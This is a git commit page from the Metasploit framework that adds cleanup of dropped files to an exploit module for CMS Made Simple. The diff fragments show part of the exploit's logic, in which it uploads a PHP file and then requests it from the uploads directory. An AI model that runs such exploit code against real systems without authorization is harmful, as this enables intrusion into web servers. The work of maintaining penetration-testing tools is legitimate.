Land #10405, Cleanup dropped files for CMSMS

GSoC/Meterpreter_Web_Console
Adam Cammack 2018-08-01 14:44:33 -05:00
commit 41fdb75502
No known key found for this signature in database
GPG Key ID: C9378BA088092D66
1 changed files with 3 additions and 0 deletions

View File

@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
@ -163,6 +164,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
vprint_good("#{peer} - File renamed #{filename}.php")
register_files_for_cleanup("#{filename}.txt", "#{filename}.php")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),
'method' => 'GET',